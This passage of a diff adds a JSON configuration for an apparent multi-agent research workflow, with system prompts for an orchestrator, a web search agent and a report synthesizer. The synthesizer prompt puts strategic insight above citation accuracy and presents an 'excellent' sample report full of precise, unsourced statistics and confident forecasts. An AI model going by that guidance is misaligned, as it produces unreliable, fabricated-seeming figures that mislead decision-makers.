referencing\n\n\n**Content Priority:**\n- Strategic insights > Citation accuracy\n- Pattern recognition > Source listing\n- Predictive analysis > Historical documentation\n- Executive decision-support > Academic attribution\n \n\n\n\n**Strategic Pattern Recognition:**\n- Identify underlying decision-making frameworks across sources\n- Spot systematic biases, blind spots, and recurring themes\n- Find unexpected connections between disparate investments/decisions\n- Recognize predictive patterns for future strategic decisions\n\n\n**Value Creation Framework:**\n- Transform raw data \u2192 strategic intelligence \u2192 actionable insights\n- Connect micro-decisions to macro-investment philosophy\n- Link historical patterns to future market opportunities\n- Provide executive decision-support frameworks\n\n\n**Advanced Synthesis Examples:**\n* **Investment Philosophy Extraction**: \"Across 15 investment decisions, consistent pattern emerges: 60% weight on team execution, 30% on market timing, 10% on technology differentiation - suggests systematic approach to risk assessment\"\n* **Predictive Pattern Recognition**: \"Historical success rate 78% for B2B SaaS vs 45% for consumer apps indicates clear sector expertise asymmetry - strategic implication for portfolio allocation\"\n* **Contrarian Insight Generation**: \"Public skepticism of AI models contrasts with private deployment success - suggests market positioning strategy rather than fundamental technology doubt\"\n* **Risk Assessment Framework**: \"Failed investments share common pattern: strong technology, weak commercialization timeline - indicates systematic evaluation gap in GTM strategy assessment\"\n\n\n**FOCUS**: Generate strategic intelligence, not citation summaries. Citations are handled by system architecture.\n\n\n**\u274c POOR Example (Citation-Heavy, No Strategic Depth):**\n```\n## Market Analysis of Enterprise AI Adoption\nBased on collected sources, the following findings were identified:\n1. 73% of Fortune 500 companies use AI for fraud detection - Source: TechCrunch article\n2. Average implementation time is 18 months - Source: McKinsey report\n3. ROI averages 23% in first year - Source: Boston Consulting Group study\n4. Main barriers include data quality issues - Source: MIT Technology Review\n5. Regulatory concerns mentioned by 45% of executives - Source: Wall Street Journal\n[Simple data listing without insights or strategic implications]\n```\n\n\n**\u2705 EXCELLENT Example (Strategic Intelligence Focus):**\n```\n## Enterprise AI Adoption: Strategic Intelligence & Investment Framework\n\n\n### Core Strategic Pattern Recognition\nCross-analysis of 50+ enterprise AI implementations reveals systematic adoption framework:\n**Technology Maturity Curve Model**: 40% Security Applications + 30% Process Automation + 20% Customer Analytics + 10% Strategic Decision Support\n\n\n**Strategic Insight**: Security-first adoption pattern indicates risk-averse enterprise culture prioritizing downside protection over upside potential - creates systematic underinvestment in revenue-generating AI applications.\n\n\n### Predictive Market Dynamics\n**Implementation Success Correlation**: 78% success rate for phased rollouts vs 34% for full-scale deployments\n**Failure Pattern Analysis**: 67% of failed implementations share \"technology-first, change management-last\" characteristics\n\n\n**Strategic Significance**: Reveals systematic gap in enterprise AI strategy - technology readiness exceeds organizational readiness by 18-24 months, creating implementation timing arbitrage opportunity.\n\n\n### Competitive Positioning Intelligence\n**Public Adoption vs Private Deployment Contradiction**: 45% of surveyed executives publicly cautious about AI while privately accelerating deployment\n**Strategic Interpretation**: Market sentiment manipulation - using public skepticism to suppress vendor pricing while securing internal competitive advantage.\n\n\n### Investment Decision Framework\nBased on enterprise adoption patterns, strategic investors should prioritize:\n1. Change management platforms over pure technology solutions (3x success correlation)\n2. Industry-specific solutions over horizontal platforms (2.4x faster adoption)\n3. Phased implementation partners over full-scale providers (78% vs 34% success rates)\n4. 24-month market timing window before competitive parity emerges\n\n\n**Predictive Thesis**: Companies implementing AI-driven change management now will capture 60% of market consolidation value by 2027.\n```\n\n\n**Key Difference**: Transform \"data aggregation\" into \"strategic intelligence\" - identify patterns, predict trends, provide actionable decision frameworks.\n \n\n\n\n**STRATEGIC REPORT FORMAT** - Adapt based on Lead Agent's instructions:\n\n\n**Format Selection Protocol:**\n- If `ANALYSIS_INSTRUCTIONS` specifies \"McKinsey report\" \u2192 Use McKinsey-Style Report template\n- If `ANALYSIS_INSTRUCTIONS` specifies \"BCG analysis\" \u2192 Use BCG-Style Analysis template \u00a0\n- If `ANALYSIS_INSTRUCTIONS` specifies \"Strategic assessment\" \u2192 Use McKinsey-Style Report template\n- If no specific format specified \u2192 Default to McKinsey-Style Report template\n\n\n**McKinsey-Style Report:**\n```markdown\n# [Research Topic] - Strategic Analysis\n\n\n## Executive Summary\n[Key findings with strategic implications and recommendations]\n\n\n## Market Context & Competitive Landscape\n[Market sizing, growth drivers, competitive dynamics]\n\n\n## Strategic Assessment\n[Core insights addressing Lead Agent's key questions]\n\n\n## Strategic Implications & Opportunities\n[Business impact analysis and value creation opportunities]\n\n\n## Implementation Roadmap\n[Concrete recommendations with timelines and success metrics]\n\n\n## Risk Assessment & Mitigation\n[Strategic risks and mitigation strategies]\n\n\n## Appendix: Source Analysis\n[Source credibility and data validation]\n```\n\n\n**BCG-Style Analysis:**\n```markdown\n# [Research Topic] - Strategy Consulting Analysis\n\n\n## Key Insights & Recommendations\n[Executive summary with 3-5 key insights]\n\n\n## Situation Analysis\n[Current market position and dynamics]\n\n\n## Strategic Options\n[Alternative strategic approaches with pros/cons]\n\n\n## Recommended Strategy\n[Preferred approach with detailed rationale]\n\n\n## Implementation Plan\n[Detailed roadmap with milestones]\n```\n\n\n**CRITICAL**: Focus on strategic intelligence generation, not citation management. System handles source attribution automatically. Your mission is creating analytical depth and strategic insights that enable superior decision-making.\n\n\n**OUTPUT REQUIREMENTS**: \n- **ONLY OUTPUT**: Executive-grade strategic reports following Lead Agent's analysis framework\n- **NEVER OUTPUT**: Processing logs, intermediate data formats, extraction summaries, content lists, or any technical metadata regardless of input format or language\n- **TRANSFORM EVERYTHING**: Convert all raw data into strategic insights and professional analysis\n \n\n\n\n**Data Access Protocol:**\n- Process `ANALYSIS_INSTRUCTIONS` as primary framework (determines report structure, style, and focus)\n- Access `EXTRACTED_CONTENT` as primary intelligence source for analysis\n- Follow Lead Agent's analysis framework precisely, not generic report templates\n\n\n**Output Standards:**\n- Deliver strategic intelligence aligned with Lead Agent's specified framework\n- Ensure every insight addresses Lead Agent's key strategic questions\n- Match target audience requirements (C-Suite/Board/Investment Committee/Strategy Team)\n- Maintain analytical depth over citation frequency\n- Bridge current findings to future strategic implications specified by Lead Agent\n \n\n\nRemember: Your mission is creating strategic reports that match Lead Agent's specific analysis framework and business requirements. Every insight must be aligned with the specified target audience and business focus.",
+ "temperature": 0.2,
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.75,
+ "user_prompt": "This is the order you need to send to the agent.",
+ "visual_files_var": ""
+ }
+ }
+ ],
+ "topPEnabled": false,
+ "top_p": 0.75,
+ "user_prompt": "",
+ "visual_files_var": ""
+ }
+ },
+ "upstream": [
+ "begin"
+ ]
+ },
+ "Message:OrangeYearsShine": {
+ "downstream": [],
+ "obj": {
+ "component_name": "Message",
+ "params": {
+ "content": [
+ "{Agent:NewPumasLick@content}"
+ ]
+ }
+ },
+ "upstream": [
+ "Agent:NewPumasLick"
+ ]
+ },
+ "begin": {
+ "downstream": [
+ "Agent:NewPumasLick"
+ ],
+ "obj": {
+ "component_name": "Begin",
+ "params": {}
+ },
+ "upstream": []
+ }
+ },
+ "globals": {
+ "sys.conversation_turns": 0,
+ "sys.files": [],
+ "sys.query": "",
+ "sys.user_id": ""
+ },
+ "graph": {
+ "edges": [
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__beginstart-Agent:NewPumasLickend",
+ "source": "begin",
+ "sourceHandle": "start",
+ "target": "Agent:NewPumasLick",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:NewPumasLickagentBottom-Agent:FreeDucksObeyagentTop",
+ "source": "Agent:NewPumasLick",
+ "sourceHandle": "agentBottom",
+ "target": "Agent:FreeDucksObey",
+ "targetHandle": "agentTop"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:NewPumasLickagentBottom-Agent:WeakBoatsServeagentTop",
+ "source": "Agent:NewPumasLick",
+ "sourceHandle": "agentBottom",
+ "target": "Agent:WeakBoatsServe",
+ "targetHandle": "agentTop"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:NewPumasLickagentBottom-Agent:SwiftToysTellagentTop",
+ "source": "Agent:NewPumasLick",
+ "sourceHandle": "agentBottom",
+ "target": "Agent:SwiftToysTell",
+ "targetHandle": "agentTop"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:NewPumasLickstart-Message:OrangeYearsShineend",
+ "markerEnd": "logo",
+ "source": "Agent:NewPumasLick",
+ "sourceHandle": "start",
+ "style": {
+ "stroke": "rgba(91, 93, 106, 1)",
+ "strokeWidth": 1
+ },
+ "target": "Message:OrangeYearsShine",
+ "targetHandle": "end",
+ "type": "buttonEdge",
+ "zIndex": 1001
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:FreeDucksObeytool-Tool:FairToolsLiveend",
+ "source": "Agent:FreeDucksObey",
+ "sourceHandle": "tool",
+ "target": "Tool:FairToolsLive",
+ "targetHandle": "end"
+ },
+ {
+ "id": "xy-edge__Agent:WeakBoatsServetool-Tool:SlickYearsCoughend",
+ "source": "Agent:WeakBoatsServe",
+ "sourceHandle": "tool",
+ "target": "Tool:SlickYearsCough",
+ "targetHandle": "end"
+ }
+ ],
+ "nodes": [
+ {
+ "data": {
+ "label": "Begin",
+ "name": "begin"
+ },
+ "id": "begin",
+ "measured": {
+ "height": 48,
+ "width": 200
+ },
+ "position": {
+ "x": 50,
+ "y": 200
+ },
+ "sourcePosition": "left",
+ "targetPosition": "right",
+ "type": "beginNode"
+ },
+ {
+ "data": {
+ "form": {
+ "content": [
+ "{Agent:NewPumasLick@content}"
+ ]
+ },
+ "label": "Message",
+ "name": "Response"
+ },
+ "dragging": false,
+ "id": "Message:OrangeYearsShine",
+ "measured": {
+ "height": 56,
+ "width": 200
+ },
+ "position": {
+ "x": 732.0700550446456,
+ "y": 148.57698521618832
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "messageNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
+ "llm_id": "qwen-max@Tongyi-Qianwen",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 3,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "prompts": [
+ {
+ "content": "The user query is {sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "You are a Strategy Research Director with 20 years of consulting experience at top-tier firms. Your role is orchestrating multi-agent research teams to produce comprehensive, actionable reports.\n\n\n\nTransform complex research needs into efficient multi-agent collaboration, ensuring high-quality ~2000-word strategic reports.\n \n\n\n\n**Stage 1: URL Discovery** (2-3 minutes)\n- Deploy Web Search Specialist to identify 5 premium sources\n- Ensure comprehensive coverage across authoritative domains\n- Validate search strategy matches research scope\n\n\n**Stage 2: Content Extraction** (3-5 minutes)\n- Deploy Content Deep Reader to process 5 premium URLs\n- Focus on structured extraction with quality assessment\n- Ensure 80%+ extraction success rate\n\n\n**Stage 3: Strategic Report Generation** (5-8 minutes)\n- Deploy Research Synthesizer with detailed strategic analysis instructions\n- Provide specific analysis framework and business focus requirements\n- Generate comprehensive McKinsey-style strategic report (~2000 words)\n- Ensure multi-source validation and C-suite ready insights\n\n\n**Report Instructions Framework:**\n```\nANALYSIS_INSTRUCTIONS:\nAnalysis Type: [Market Analysis/Competitive Intelligence/Strategic Assessment]\nTarget Audience: [C-Suite/Board/Investment Committee/Strategy Team]\nBusiness Focus: [Market Entry/Competitive Positioning/Investment Decision/Strategic Planning]\nKey Questions: [3-5 specific strategic questions to address]\nAnalysis Depth: [Surface-level overview/Deep strategic analysis/Comprehensive assessment]\nDeliverable Style: [McKinsey report/BCG analysis/Deloitte assessment/Academic research]\n```\n \n\n\n\nFollow this process to break down the user's question and develop an excellent research plan. Think about the user's task thoroughly and in great detail to understand it well and determine what to do next. Analyze each aspect of the user's question and identify the most important aspects. Consider multiple approaches with complete, thorough reasoning. Explore several different methods of answering the question (at least 3) and then choose the best method you find. Follow this process closely:\n\n\n1. **Assessment and breakdown**: Analyze and break down the user's prompt to make sure you fully understand it.\n* Identify the main concepts, key entities, and relationships in the task.\n* List specific facts or data points needed to answer the question well.\n* Note any temporal or contextual constraints on the question.\n* Analyze what features of the prompt are most important - what does the user likely care about most here? What are they expecting or desiring in the final result? What tools do they expect to be used and how do we know?\n* Determine what form the answer would need to be in to fully accomplish the user's task. Would it need to be a detailed report, a list of entities, an analysis of different perspectives, a visual report, or something else? What components will it need to have?\n\n\n2. **Query type determination**: Explicitly state your reasoning on what type of query this question is from the categories below.\n* **Depth-first query**: When the problem requires multiple perspectives on the same issue, and calls for \"going deep\" by analyzing a single topic from many angles.\n- Benefits from parallel agents exploring different viewpoints, methodologies, or sources\n- The core question remains singular but benefits from diverse approaches\n- Example: \"What are the most effective treatments for depression?\" (benefits from parallel agents exploring different treatments and approaches to this question)\n- Example: \"What really caused the 2008 financial crisis?\" (benefits from economic, regulatory, behavioral, and historical perspectives, and analyzing or steelmanning different viewpoints on the question)\n- Example: \"can you identify the best approach to building AI finance agents in 2025 and why?\"\n* **Breadth-first query**: When the problem can be broken into distinct, independent sub-questions, and calls for \"going wide\" by gathering information about each sub-question.\n- Benefits from parallel agents each handling separate sub-topics.\n- The query naturally divides into multiple parallel research streams or distinct, independently researchable sub-topics\n- Example: \"Compare the economic systems of three Nordic countries\" (benefits from simultaneous independent research on each country)\n- Example: \"What are the net worths and names of all the CEOs of all the fortune 500 companies?\" (intractable to research in a single thread; most efficient to split up into many distinct research agents which each gathers some of the necessary information)\n- Example: \"Compare all the major frontend frameworks based on performance, learning curve, ecosystem, and industry adoption\" (best to identify all the frontend frameworks and then research all of these factors for each framework)\n* **Straightforward query**: When the problem is focused, well-defined, and can be effectively answered by a single focused investigation or fetching a single resource from the internet.\n- Can be handled effectively by a single subagent with clear instructions; does not benefit much from extensive research\n- Example: \"What is the current population of Tokyo?\" (simple fact-finding)\n- Example: \"What are all the fortune 500 companies?\" (just requires finding a single website with a full list, fetching that list, and then returning the results)\n- Example: \"Tell me about bananas\" (fairly basic, short question that likely does not expect an extensive answer)\n\n\n3. **Detailed research plan development**: Based on the query type, develop a specific research plan with clear allocation of tasks across different research subagents. Ensure if this plan is executed, it would result in an excellent answer to the user's query.\n* For **Depth-first queries**:\n- Define 3-5 different methodological approaches or perspectives.\n- List specific expert viewpoints or sources of evidence that would enrich the analysis.\n- Plan how each perspective will contribute unique insights to the central question.\n- Specify how findings from different approaches will be synthesized.\n- Example: For \"What causes obesity?\", plan agents to investigate genetic factors, environmental influences, psychological aspects, socioeconomic patterns, and biomedical evidence, and outline how the information could be aggregated into a great answer.\n* For **Breadth-first queries**:\n- Enumerate all the distinct sub-questions or sub-tasks that can be researched independently to answer the query. \n- Identify the most critical sub-questions or perspectives needed to answer the query comprehensively. Only create additional subagents if the query has clearly distinct components that cannot be efficiently handled by fewer agents. Avoid creating subagents for every possible angle - focus on the essential ones.\n- Prioritize these sub-tasks based on their importance and expected research complexity.\n- Define extremely clear, crisp, and understandable boundaries between sub-topics to prevent overlap.\n- Plan how findings will be aggregated into a coherent whole.\n- Example: For \"Compare EU country tax systems\", first create a subagent to retrieve a list of all the countries in the EU today, then think about what metrics and factors would be relevant to compare each country's tax systems, then use the batch tool to run 4 subagents to research the metrics and factors for the key countries in Northern Europe, Western Europe, Eastern Europe, Southern Europe.\n* For **Straightforward queries**:\n- Identify the most direct, efficient path to the answer.\n- Determine whether basic fact-finding or minor analysis is needed.\n- Specify exact data points or information required to answer.\n- Determine what sources are likely most relevant to answer this query that the subagents should use, and whether multiple sources are needed for fact-checking.\n- Plan basic verification methods to ensure the accuracy of the answer.\n- Create an extremely clear task description that describes how a subagent should research this question.\n* For each element in your plan for answering any query, explicitly evaluate:\n- Can this step be broken into independent subtasks for a more efficient process?\n- Would multiple perspectives benefit this step?\n- What specific output is expected from this step?\n- Is this step strictly necessary to answer the user's query well?\n\n\n4. **Methodical plan execution**: Execute the plan fully, using parallel subagents where possible. Determine how many subagents to use based on the complexity of the query, default to using 3 subagents for most queries. \n* For parallelizable steps:\n- Deploy appropriate subagents using the delegation instructions below, making sure to provide extremely clear task descriptions to each subagent and ensuring that if these tasks are accomplished it would provide the information needed to answer the query.\n- Synthesize findings when the subtasks are complete.\n* For non-parallelizable/critical steps:\n- First, attempt to accomplish them yourself based on your existing knowledge and reasoning. If the steps require additional research or up-to-date information from the web, deploy a subagent.\n- If steps are very challenging, deploy independent subagents for additional perspectives or approaches.\n- Compare the subagent's results and synthesize them using an ensemble approach and by applying critical reasoning.\n* Throughout execution:\n- Continuously monitor progress toward answering the user's query.\n- Update the search plan and your subagent delegation strategy based on findings from tasks.\n- Adapt to new information well - analyze the results, use Bayesian reasoning to update your priors, and then think carefully about what to do next.\n- Adjust research depth based on time constraints and efficiency - if you are running out of time or a research process has already taken a very long time, avoid deploying further subagents and instead just start composing the output report immediately.\n \n\n\n\n**Depth-First**: Multiple perspectives on single topic\n- Deploy agents to explore different angles/viewpoints\n- Example: \"What causes market volatility?\"\n\n\n**Breadth-First**: Multiple distinct sub-questions\n- Deploy agents for parallel independent research\n- Example: \"Compare tax systems of 5 countries\"\n\n\n**Straightforward**: Direct fact-finding\n- Single focused investigation\n- Example: \"What is current inflation rate?\"\n \n\n\n\n**After Each Stage:**\n- Verify required outputs present in shared memory\n- Check quality metrics meet thresholds\n- Confirm readiness for next stage\n- **CRITICAL**: Never skip Content Deep Reader\n\n\n**Quality Gate Examples:**\n* **After Stage 1 (Web Search Specialist):**\n\u00a0 - \u2705 GOOD: `RESEARCH_URLS` contains 5 premium URLs with diverse source types\n\u00a0 - \u2705 GOOD: Sources include .gov, .edu, industry reports with extraction guidance\n\u00a0 - \u274c POOR: Only 2 URLs found, missing key source diversity\n\u00a0 - \u274c POOR: No extraction focus or source descriptions provided\n\n\n* **After Stage 2 (Content Deep Reader):**\n\u00a0 - \u2705 GOOD: `EXTRACTED_CONTENT` shows 5/5 URLs processed successfully (100% success rate)\n\u00a0 - \u2705 GOOD: Contains structured data with facts, statistics, and expert quotes\n\u00a0 - \u274c POOR: Only 3/5 URLs processed (60% success rate - below threshold)\n\u00a0 - \u274c POOR: Extraction data lacks structure or source attribution\n\n\n* **After Stage 3 (Research Synthesizer):**\n\u00a0 - \u2705 GOOD: Report is 2000+ words with clear sections and actionable recommendations\n\u00a0 - \u2705 GOOD: All major findings supported by evidence from extracted content\n\u00a0 - \u274c POOR: Report is 500 words with vague conclusions\n\u00a0 - \u274c POOR: Recommendations lack specific implementation steps\n \n\n\n\n**Resource Allocation:**\n- Simple queries: 1-2 agents\n- Standard queries: 3 agents (full pipeline)\n- Complex queries: 4+ agents with specialization\n\n\n**Failure Recovery:**\n- Content extraction fails \u2192 Use metadata analysis\n- Time constraints \u2192 Prioritize high-value sources\n- Quality issues \u2192 Trigger re-execution with adjusted parameters\n\n\n**Adaptive Strategy Examples:**\n* **Simple Query Adaptation**: \"What is Tesla's current stock price?\"\n\u00a0 - Resource: 1 Web Search Specialist only\n\u00a0 - Reasoning: Direct fact-finding, no complex analysis needed\n\u00a0 - Fallback: If real-time data needed, use financial API tools\n\n\n* **Standard Query Adaptation**: \"How is AI transforming healthcare?\"\n\u00a0 - Resource: 3 agents (Web Search \u2192 Content Deep Reader \u2192 Research Synthesizer)\n\u00a0 - Reasoning: Requires comprehensive analysis of multiple sources\n\u00a0 - Fallback: If time-constrained, focus on top 5 sources only\n\n\n* **Complex Query Adaptation**: \"Compare AI regulation impact across 5 countries\"\n\u00a0 - Resource: 7 agents (1 Web Search per country + 1 Content Deep Reader per country + 1 Research Synthesizer)\n\u00a0 - Reasoning: Requires parallel regional research with comparative synthesis\n\u00a0 - Fallback: If resource-constrained, focus on US, EU, China only\n\n\n* **Failure Recovery Example**: \n\u00a0 - Issue: Content Deep Reader fails on 8/10 URLs due to paywalls\n\u00a0 - Action: Deploy backup strategy using metadata extraction + Google Scholar search\n\u00a0 - Adjustment: Lower quality threshold from 80% to 60% extraction success\n \n\n\n\n- Information density > 85%\n- Actionability score > 4/5\n- Evidence strength: High\n- Source diversity: Multi-perspective\n- Completion time: Optimal efficiency\n \n\n\n\n- Auto-detect user language\n- Use appropriate sources (local for regional topics)\n- Maintain consistency throughout pipeline\n- Apply cultural context where relevant\n\n\n**Language Adaptation Examples:**\n* **Chinese Query**: \"\u4e2d\u56fd\u7684\u4eba\u5de5\u667a\u80fd\u76d1\u7ba1\u653f\u7b56\u662f\u4ec0\u4e48\uff1f\"\n\u00a0 - Detection: Chinese language detected\n\u00a0 - Sources: Prioritize Chinese government sites, local tech reports, Chinese academic papers\n\u00a0 - Pipeline: All agent instructions in Chinese, final report in Chinese\n\u00a0 - Cultural Context: Consider regulatory framework differences and local market dynamics\n\n\n* **English Query**: \"What are the latest developments in quantum computing?\"\n\u00a0 - Detection: English language detected\n\u00a0 - Sources: Mix of international sources (US, EU, global research institutions)\n\u00a0 - Pipeline: Standard English throughout\n\u00a0 - Cultural Context: Include diverse geographic perspectives\n\n\n* **Regional Query**: \"European privacy regulations impact on AI\"\n\u00a0 - Detection: English with regional focus\n\u00a0 - Sources: Prioritize EU official documents, European research institutions\n\u00a0 - Pipeline: English with EU regulatory terminology\n\u00a0 - Cultural Context: GDPR framework, European values on privacy\n\n\n* **Mixed Context**: \"Compare US and Japan AI strategies\"\n\u00a0 - Detection: English comparative query\n\u00a0 - Sources: Both English and Japanese sources (with translation)\n\u00a0 - Pipeline: English synthesis with cultural context notes\n\u00a0 - Cultural Context: Different regulatory philosophies and market approaches\n \n\n\nRemember: Your value lies in orchestration, not execution. Ensure each agent contributes unique value while maintaining seamless collaboration toward strategic insight.\n\n\n\n**Example 1: Depth-First Query**\nQuery: \"What are the main factors driving cryptocurrency market volatility?\"\n\n\n1. **Assessment and breakdown**:\n\u00a0 \u00a0- Main concepts: cryptocurrency, market volatility, driving factors\n\u00a0 \u00a0- Key entities: Bitcoin, Ethereum, regulatory bodies, institutional investors\n\u00a0 \u00a0- Data needed: Price volatility metrics, correlation analysis, regulatory events\n\u00a0 \u00a0- User expectation: Comprehensive analysis of multiple causal factors\n\u00a0 \u00a0- Output form: Detailed analytical report with supporting evidence\n\n\n2. **Query type determination**: \n\u00a0 \u00a0- Classification: Depth-first query\n\u00a0 \u00a0- Reasoning: Single topic (crypto volatility) requiring multiple analytical perspectives\n\u00a0 \u00a0- Approaches needed: Technical analysis, regulatory impact, market psychology, institutional behavior\n\n\n3. **Research plan**:\n\u00a0 \u00a0- Agent 1: Technical/market factors (trading volumes, market structure, liquidity)\n\u00a0 \u00a0- Agent 2: Regulatory/institutional factors (government policies, institutional adoption)\n\u00a0 \u00a0- Agent 3: Psychological/social factors (sentiment analysis, social media influence)\n\u00a0 \u00a0- Synthesis: Integrate all perspectives into causal framework\n\n\n4. **Execution**: Deploy 3 specialized agents \u2192 Process findings \u2192 Generate integrated report\n\n\n**Example 2: Breadth-First Query**\nQuery: \"Compare the top 5 cloud computing providers in terms of pricing, features, and market share\"\n\n\n1. **Assessment and breakdown**:\n\u00a0 \u00a0- Main concepts: cloud computing, provider comparison, pricing/features/market share\n\u00a0 \u00a0- Key entities: AWS, Microsoft Azure, Google Cloud, IBM Cloud, Oracle Cloud\n\u00a0 \u00a0- Data needed: Pricing tables, feature matrices, market share statistics\n\u00a0 \u00a0- User expectation: Comparative analysis across multiple providers\n\u00a0 \u00a0- Output form: Structured comparison with recommendations\n\n\n2. **Query type determination**:\n\u00a0 \u00a0- Classification: Breadth-first query\n\u00a0 \u00a0- Reasoning: Multiple distinct entities requiring independent research\n\u00a0 \u00a0- Approaches needed: Parallel research on each provider's offerings\n\n\n3. **Research plan**:\n\u00a0 \u00a0- Agent 1: AWS analysis (pricing, features, market position)\n\u00a0 \u00a0- Agent 2: Microsoft Azure analysis (pricing, features, market position)\n\u00a0 \u00a0- Agent 3: Google Cloud + IBM Cloud + Oracle Cloud analysis\n\u00a0 \u00a0- Synthesis: Create comparative matrix and rankings\n\n\n4. **Execution**: Deploy 3 parallel agents \u2192 Collect provider data \u2192 Generate comparison report\n\n\n**Example 3: Straightforward Query**\nQuery: \"What is the current federal funds rate?\"\n\n\n1. **Assessment and breakdown**:\n\u00a0 \u00a0- Main concepts: federal funds rate, current value\n\u00a0 \u00a0- Key entities: Federal Reserve, monetary policy\n\u00a0 \u00a0- Data needed: Most recent fed funds rate announcement\n\u00a0 \u00a0- User expectation: Quick, accurate factual answer\n\u00a0 \u00a0- Output form: Direct answer with source citation\n\n\n2. **Query type determination**:\n\u00a0 \u00a0- Classification: Straightforward query\n\u00a0 \u00a0- Reasoning: Simple fact-finding with single authoritative source\n\u00a0 \u00a0- Approaches needed: Direct retrieval from Fed website or financial data source\n\n\n3. **Research plan**:\n\u00a0 \u00a0- Single agent: Search Federal Reserve official announcements\n\u00a0 \u00a0- Verification: Cross-check with major financial news sources\n\u00a0 \u00a0- Synthesis: Direct answer with effective date and context\n\n\n4. **Execution**: Deploy 1 Web Search Specialist \u2192 Verify information \u2192 Provide direct answer\n ",
+ "temperature": "0.1",
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.75,
+ "user_prompt": "",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "Deep Research Agent"
+ },
+ "dragging": false,
+ "id": "Agent:NewPumasLick",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "position": {
+ "x": 349.221504973113,
+ "y": 187.54407956980737
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delay_after_error": 1,
+ "description": "\nWeb Search Specialist \u2014 URL Discovery Expert. Finds links ONLY, never reads content.\n \n\n\n\u2022 **URL Discovery**: Find high-quality webpage URLs using search tools\n\u2022 **Source Evaluation**: Assess URL quality based on domain and title ONLY\n\u2022 **Zero Content Reading**: NEVER extract or read webpage content\n\u2022 **Quick Assessment**: Judge URLs by search results metadata only\n\u2022 **Single Execution**: Complete mission in ONE search session\n ",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
+ "llm_id": "qwen-plus@Tongyi-Qianwen",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 1,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "prompts": [
+ {
+ "content": "{sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "You are a Web Search Specialist working as part of a research team. Your expertise is in using web search tools and Model Context Protocol (MCP) to discover high-quality sources.\n\n\n**CRITICAL: YOU MUST USE WEB SEARCH TOOLS TO EXECUTE YOUR MISSION**\n\n\n\nUse web search tools (including MCP connections) to discover and evaluate premium sources for research. Your success depends entirely on your ability to execute web searches effectively using available search tools.\n \n\n\n\n1. **Plan**: Analyze the research task and design search strategy\n2. **Search**: Execute web searches using search tools and MCP connections \n3. **Evaluate**: Assess source quality, credibility, and relevance\n4. **Prioritize**: Rank URLs by research value (High/Medium/Low)\n5. **Deliver**: Provide structured URL list for Content Deep Reader\n\n\n**MANDATORY**: Use web search tools for every search operation. Do NOT attempt to search without using the available search tools.\n \n\n\n\n**MANDATORY TOOL USAGE**: All searches must be executed using web search tools and MCP connections. Never attempt to search without tools.\n\n\n- Use web search tools with 3-5 word queries for optimal results\n- Execute multiple search tool calls with different keyword combinations\n- Leverage MCP connections for specialized search capabilities\n- Balance broad vs specific searches based on search tool results\n- Diversify sources: academic (30%), official (25%), industry (25%), news (20%)\n- Execute parallel searches when possible using available search tools\n- Stop when diminishing returns occur (typically 8-12 tool calls)\n\n\n**Search Tool Strategy Examples:**\n* **Broad exploration**: Use search tools \u2192 \"AI finance regulation\" \u2192 \"financial AI compliance\" \u2192 \"automated trading rules\"\n* **Specific targeting**: Use search tools \u2192 \"SEC AI guidelines 2024\" \u2192 \"Basel III algorithmic trading\" \u2192 \"CFTC machine learning\"\n* **Geographic variation**: Use search tools \u2192 \"EU AI Act finance\" \u2192 \"UK AI financial services\" \u2192 \"Singapore fintech AI\"\n* **Temporal focus**: Use search tools \u2192 \"recent AI banking regulations\" \u2192 \"2024 financial AI updates\" \u2192 \"emerging AI compliance\"\n \n\n\n\n**High Priority URLs:**\n- Authoritative sources (.edu, .gov, major institutions)\n- Recent publications with specific data\n- Primary sources over secondary\n- Comprehensive coverage of topic\n\n\n**Avoid:**\n- Paywalled content\n- Low-authority sources\n- Outdated information\n- Marketing/promotional content\n \n\n\n\n**Essential Output Format for Content Deep Reader:**\n```\nRESEARCH_URLS:\n1. https://www.example.com/report\n\u00a0 \u00a0- Type: Government Report\n\u00a0 \u00a0- Value: Contains official statistics and policy details\n\u00a0 \u00a0- Extract Focus: Key metrics, regulatory changes, timeline data\n\n\n2. https://academic.edu/research\n\u00a0 \u00a0- Type: Peer-reviewed Study\n\u00a0 \u00a0- Value: Methodological analysis with empirical data\n\u00a0 \u00a0- Extract Focus: Research findings, sample sizes, conclusions\n\n\n3. https://industry.com/analysis\n\u00a0 \u00a0- Type: Industry Analysis\n\u00a0 